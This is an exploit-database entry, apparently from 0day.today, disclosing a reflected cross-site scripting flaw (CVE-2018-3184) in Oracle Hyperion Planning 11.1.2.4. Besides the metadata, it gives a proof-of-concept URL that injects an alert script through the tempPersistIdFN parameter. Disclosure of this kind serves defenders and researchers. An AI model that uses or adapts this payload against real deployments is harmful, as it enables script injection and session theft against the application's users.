Oracle Hyperion Planning 11.1.2.4 Cross Site Scripting Vulnerability
Kod:
# Exploit Title: Oracle Hyperion Planning, 11.1.2.4 Vulnerable to Cross Site Scripting
# Exploit Author: Hasan Alqawzai
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/applications/performance-management/products/financial-close-reporting/hyperion-financial-management/
# Version: 11.1.2.4
# Tested on: Windows
# CVE : CVE-2018-3184
# Description :
It was detected cross-site scripting , which allows an attacker to execute a dynamic script in the context of the application.
# Prerequisites :
Access to Oracle Hyperion
# PoC Exploit: XSS
https://examble.com/raframework/browse/editFileACL?dest=0000016f77a61591-1111-3dfd-c9ao0p1b&tempPersistIdFN=1525";</script><script>alert(/hasan/)</script>
# 0day.today [2018-10-27] #